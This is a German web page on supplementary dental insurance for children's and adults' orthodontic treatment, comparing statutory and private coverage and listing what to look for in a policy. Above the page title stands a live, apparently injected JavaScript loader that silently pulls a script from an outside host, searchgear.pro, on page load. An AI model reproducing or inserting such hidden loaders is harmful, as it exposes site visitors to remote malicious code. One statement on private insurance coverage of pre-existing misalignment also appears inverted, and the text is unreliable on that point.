;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Zahnzusatzversicherungen – Kieferorthopädie | Krankenkassenwechsel Zahnzusatzversicherungen - Kieferorthopädie | Krankenkassenwechsel

Zahnzusatzversicherungen für kieferorthopädische Behandlungen

Zahnfehlstellungen – wer zahlt?

Jedes zweite Kind in Deutschland trägt eine Zahnspange. Evolutionsbedingte kleinere Kiefer lassen den Zähnen weniger Platz zum wachsen. Zahnfehlstellungen und Kieferanomalien sind die Folge. Ist dies der Fall, hilft nur noch eine Zahnspange. Doch wer bezahlt diese?

Bei Kindern bis zum vollendeten 18. Lebensjahr gehört eine kieferorthopädische Behandlung zum Leistungskatalog der gesetzlichen Krankenversicherung (GKV). Allerdings wird diese Behandlung erst ab einem bestimmten Fehlstand der Zähne übernommen.Dabei gilt: Die Behandlung muss medizinisch notwendig, ausreichend und wirtschaftlich sein. Das heißt auch, wenn eine Zahnspange nur aus ästhetischen Gründen gewünscht wird, muss diese selbst bezahlt werden. Bei GKV-Versicherten, die über 18 Jahre alt sind und Kieferorthopädie benötigen, lehnen die Krankenkassen ebenso eine Finanzierung ab.
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Zahnzusatzversicherung für kieferorthopädische Behandlungen

Leistungen zur Kieferortophädie bei privaten Krankenkassen

Diese Altersabgrenzung gibt es bei den meisten Tarifen in der privaten Krankenversicherung nicht. Oft wird auch die Behandlung kleiner Zahnfehlstellungen bezahlt. Im Gegensatz zur GKV werden bei privat Krankenversicherten aber nur dann die Rechnungen des Kieferorthopäden bezahlt, wenn die Kieferanomalie oder Zahnfehlstellung bereits vor dem Abschluss des Krankenversicherungsvertrages vorlag.

Was kostet eine kieferorthopädische Behandlung?

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Zahnspange

Die gesetzliche Krankenversicherung übernimmt zunächst 80 % der Kosten. Der zunächst verauslagte Eigenanteil wird nach erfolgreichem Behandlungsverlauf erstattet.

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Selbstlegierende, Kunststoff- und Keramikbrackets

Die hochwertigen Zahnspangen gehen über die Standardversorgung der GKV hinaus und müssen selbst bezahlt werden. In der PKV erfolgt diese Abgrenzung nicht. Die Erstattungshöhe hängt vom gewählten Krankenversicherungstarif ab

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Leichte Zahnfehlstellungen

Verbindliche Richtlinien legen in der GKV fest, ab welchem Zahlfehlstand die Behandlungskosten übernommen werden können. Erfolgt eine Einordnung in die KIG (Kieferorthopädische Indikationsgruppe) 1 und 2, müssen Sie die Kosten allein tragen.

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Kieferorthopädie für Erwachsene

Die Kostenübernahme für medizinisch notwendige kieferorthopädische Behandlungen nach Vollendung des 18. Lebensjahres werden von der GKV abgelehnt.

Erhalte ich die gezahlten Eigenanteile zurück?

Zahnzusatzverischerung KieferorthopädieAuch wenn Ihre Krankenkasse eine Kostenübernahme für die kieferorthopädische Behandlung Ihres Kindesausgesprochen hat, bedeutet dies nicht, dass Sie diese auch zu 100 % finanziert. Wesentliche Voraussetzung für die Erstattung des zunächst von Ihnen übernommenen Eigenanteiles ist, dass die Behandlung erfolgreich abgeschlossen wird. Die Entscheidung trifft der Kieferorthopäde. Muss die Behandlung abgebrochen werden, da das Kind nicht im gewünschten Maße am Behandlungserfolgt mitwirkt, bleiben Sie als Eltern auf den Eigenanteilen sitzen. Die Erfahrungen zeigen, dass gerade bei langjährigen Behandlungen die Motivation der Kinder und Jugendlichen nachlässt. Insbesondere in der Zeit der Pubertät steigt prozentual die Zahl der abgebrochenen kieferorthopädischen Behandlungen.

Zahnzusatzversicherung in der Kieferorthopädie – Worauf Sie achten müssen!

Je früher, je besser; dieser Grundsatz gilt für den Abschluss einer Zahnzusatzversicherung für kieferorthopädische Behandlungen. So erhalten Sie bei einigen Versicherern höhere Erstattungssummen im Leistungsfall, wenn Sie den Vertrag für Ihr Kind bereits im Kindergartenalter abschließen.

Unsere unabhängigen und zertifizierten Gesundheitsberater helfen Ihnen gern telefonisch weiter. Die knapp 50 deutschen Krankenversicherer bieten eine Vielzahl unterschiedlicher Tarifmodelle an. Unsere Experten versuchen, gemeinsam mit Ihnen, die für Ihren speziellen Absicherungswunsch passende Zahnzusatzversicherung zu finden. Folgende Gesichtspunkte sind bei der Wahl einer Zahnzusatzversicherung zu beachten und werden in die Beratung mit einbezogen:

  • Für kieferorthopädische Behandlungen sollten hohe Erstattungssummen vereinbart werden
  • Tarife ohne Altersbegrenzung sind zu empfehlen
  • Eine Staffelung der Versicherungssummen in den ersten Jahren sollte gering oder gar nicht erfolgen
  • Eine Erstattung der erbrachten Leistungen sollte nicht an den abschließenden Behandlungserfolg gekoppelt sein
  • Es erfolgt keine Leistungsablehnung bei leichten Zahnfehlstellungen (KIG 1 + 2)
  • Leistungen, die über den in der GKV festgeschriebenen Normalfall hinausgehen, werden bezahlt.

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